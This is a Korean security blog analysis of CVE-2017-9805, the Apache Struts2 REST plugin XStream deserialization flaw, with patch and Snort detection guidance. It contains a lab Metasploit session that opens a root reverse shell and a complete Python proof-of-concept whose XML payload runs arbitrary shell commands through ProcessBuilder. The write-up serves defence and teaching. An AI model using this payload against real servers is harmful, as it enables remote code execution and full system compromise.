1.Apache Struts2

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

 

2. CVE-2017-9805

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-9805

- 취약한 버전의 Apache Struts2의 기본제공 플러그인 중 REST 플러그인이 XStream 인스턴스를 이용해 XML 역직렬화를 수행할 때 XStreamHandler에 입력값에 대한 검증을 수행하지않아 원격 명령을 실행할 수 있는 취약점

취약한 버전
- Apache Struts 2.1.2~2.3.33
- Apache Struts 2.5~2.5.12

 

3. 취약점 분석

3.1 실습

- 취약한 서버 구동 및 IP 확인

[사진 2] 취약 서버 구동 및 IP 확인

 

- Nmap을 통해 실행 중인 서비스와 버전 식별

- -A 옵션 : 공격적 스캔(OS 감지, 버전 감지, 스크립트 스캔, 경로 추적)

nmap -A 192.168.56.113

 

[사진 3] Nmap 수행 결과

 

- Nmap 수행 결과를 통해 /orders.xhtml 접속

[사진 4] orders.xhtml(좌) 및 사용자 탐색(우)

 

- Metasploit을 통한 공격 수행

$ msfconsole
msf6 > use exploit/multi/http/struts2_rest_xstream 
msf6 exploit(multi/http/struts2_rest_xstream) > set rhost 192.168.56.113
msf6 exploit(multi/http/struts2_rest_xstream) > set rport 80
msf6 exploit(multi/http/struts2_rest_xstream) > set TARGETURI /orders/3
msf6 exploit(multi/http/struts2_rest_xstream) > set lhost 192.168.56.102
msf6 exploit(multi/http/struts2_rest_xstream) > set lport 4444
msf6 exploit(multi/http/struts2_rest_xstream) > show options
msf6 exploit(multi/http/struts2_rest_xstream) > exploit

 

- 취약한 대상으로 공격을 위한 위 설정값을 적용한 후 show options로 제대로 적용되었는지 확인

[사진 5] option 적용 확인

 

- exploit을 수행하면 리버스쉘이 생성되며, 피해 시스템의 root 권한을 탈취 가능

[사진 6] exploit 성공

 

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 7] 와이어샤크

 

3.2 분석

- 취약점이 발생한 REST 플러그인은 XML 및 JSON 형식에 대한 직렬화 및 역직렬화 지원

- 취약한 버전의 XStreamHandler.java를 확인해보면 다음과 같은 사항이 존재

① XStreamHandler는 ContentTypeHandler 상속 받음(Line 33)
② XStreamHandler는 사용자에게 전달 받은 값을 Xstream을 이용해 데이터 처리 (역직렬화 수행)
③ XStreamHandler는 ContentTypeHandler의 toObject를 호출 (Line 45)
XStreamHandler는 "Content-Type"이 "application/xml"인 요청이 들어올 경우 처리 (Line 53)
- 3.3 PoC 분석에서 공격자들은 "Content-Type"을 "application/xml"로 변조

 

[사진 8] 취약한 버전의 XStreamHandler.java

- ContentTypeHandler의 toObject를 확인하면 검증 없이 입력값을 역직렬화 수행

- toObject의 첫번째 인수로 공격자가 조작한 입력값이 전달

[사진 9] 취약한 버전의 ContentTypeHandler.java

 

3.3 PoC 분석

- 공격자는 REST 플러그인을 이용할 수 있는 페이지에 XML 형식으로 데이터를 전송하여, 역직렬화를 진행하도록 데이터스트림 전달

- POST 메소드 요청Content-Type': 'application/xml'로 변경

- 외부 프로세스를 실행할 때 쓰이는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달

import requests
import sys

def exploration(command):

	exploit = '''
				<map>
				<entry>
				<jdk.nashorn.internal.objects.NativeString>
				<flags>0</flags>
				<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
				<dataHandler>
				<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
				<is class="javax.crypto.CipherInputStream">
				<cipher class="javax.crypto.NullCipher">
				<initialized>false</initialized>
				<opmode>0</opmode>
				<serviceIterator class="javax.imageio.spi.FilterIterator">
				<iter class="javax.imageio.spi.FilterIterator">
				<iter class="java.util.Collections$EmptyIterator"/>
				<next class="java.lang.ProcessBuilder">
				<command>
				<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string>
				</command>
				<redirectErrorStream>false</redirectErrorStream>
				</next>
				</iter>
				<filter class="javax.imageio.ImageIO$ContainsFilter">
				<method>
				<class>java.lang.ProcessBuilder</class>
				<name>start</name>
				<parameter-types/>
				</method>
				<name>foo</name>
				</filter>
				<next class="string">foo</next>
				</serviceIterator>
				<lock/>
				</cipher>
				<input class="java.lang.ProcessBuilder$NullInputStream"/>
				<ibuffer/>
				<done>false</done>
				<ostart>0</ostart>
				<ofinish>0</ofinish>
				<closed>false</closed>
				</is>
				<consumed>false</consumed>
				</dataSource>
				<transferFlavors/>
				</dataHandler>
				<dataLen>0</dataLen>
				</value>
				</jdk.nashorn.internal.objects.NativeString>
				<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				<entry>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				</map>
				'''


	url = sys.argv[1]

	headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
			'Content-Type': 'application/xml'}

	request = requests.post(url, data=exploit, headers=headers)
	print (request.text)

if len(sys.argv) < 3:
	print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
	print ('[*] Warflop - http://securityattack.com.br')
	print ('[*] Greatz: Pimps & G4mbl3r')
	print ('[*] Use: python struts2.py URL COMMAND')
	print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
	exit(0)
else:
	exploration(sys.argv[2])

 

4. 대응

4.1 서버 측면

① 업데이트 수행

- 취약점 패치 버전 : Apache Struts 2.5.13, Apache Struts 2.3.34

- ContentTypeHandler이 바로 상속되지 않고 AbstractContentTypeHandler 를 거치도록 패치

- 이를 이용하여 XstreamHandler로 처리되는 입력 값에 대한 기록을 남김

[사진 10] Apache Struts 2.5.13 XStreamHandler.java 일부

 

- REST 플러그인의 XStreamHandler에 AbstractContentTypeHandler, AllowedClasses, AllowedClassNames, XStreamPermissionProvider를 추가(허용 여부 검증)

- createXStream()을 통해 안전하지 않은 입력값 실행에 대한 설정을 추가

[사진 11] Apache Struts 2.5.13 XStreamHandler.java 일부

 

- 입력값을 전달하는 toObject를 처리하는 ContentTypeInterceptor.java에서 invocation 값이 추가로 전달

[사진 12] Apache Struts 2.5.13 ContentTypeInterceptor.java 취약(위) 및 패치(아래)

 

- 업데이트가 불가하거나 어려울 경우 플러그인을 서버 일반 페이지 및 JSON으로만 제한

- [사진 7]에서 xml을 제외

[사진 13] struts-plugin.xml

<constant name="struts.action.extension" value="xhtml,,json" />

 

② REST 플러그인 비활성화

- 해당 플러그인을 사용하지 않을 경우 비활성화 또는 제거

 

4.2 네트워크 측면

① 탐지 룰 생성

- 공개된 PoC에 따라 공격자는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달

- 해당 문자열을 탐지할 수 있는 Snort Rule 등을 생성하여 탐지 및 차단

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (ProcessBuilder)"; flow:to_server,established; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024663; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (Runtime.Exec)"; flow:to_server,established; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:".exec"; distance:0; http_client_body; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024664; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 1"; flow:to_server,established; content:"POST"; http_method; content:"eXNvc2VyaWFsL"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024668; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 2"; flow:to_server,established; content:"POST"; http_method; content:"lzb3NlcmlhbC"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024669; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 3"; flow:to_server,established; content:"POST"; http_method; content:"5c29zZXJpYWwv"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024670; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 4"; flow:to_server,established; content:"POST"; http_method; content:"|79 76 36 36 76|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024671; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 5"; flow:to_server,established; content:"POST"; http_method; content:"|72 2b 75 72|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024672; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 6"; flow:to_server,established; content:"POST"; http_method; content:"|4b 2f 72 71 2b|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024673; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (Runtime.Exec)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024674; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (ProcessBuilder)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024675; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN struts-pwn User-Agent"; flow:established,to_server; content:"User-Agent|3a 20|struts-pwn"; http_header; fast_pattern; reference:url,github.com/mazen160/struts-pwn_CVE-2017-9805/blob/master/struts-pwn.py; reference:cve,2017-9805; reference:url,paladion.net/paladion-cyber-labs-discovers-a-new-ransomware/; classtype:attempted-user; sid:2024843; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_10_16, deployment Datacenter, former_category SCAN, performance_impact Moderate, signature_severity Minor, updated_at 2022_04_18;)

 

5. 참고

https://nvd.nist.gov/vuln/detail/cve-2017-9805

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26667 

http://rules.emergingthreats.net/open/snort-2.9.0/emerging-all.rules

https://archive.apache.org/dist/struts/binaries/

https://archive.apache.org/dist/struts/2.5.13/

https://cwiki.apache.org/confluence/display/WW/S2-052

https://blogs.quickheal.com/cve-2017-9805-apache-struts-2-remote-code-execution-vulnerability-quick-heal-security-labs/

https://pentesterlab.com/exercises/s2-052/course

+ Recent posts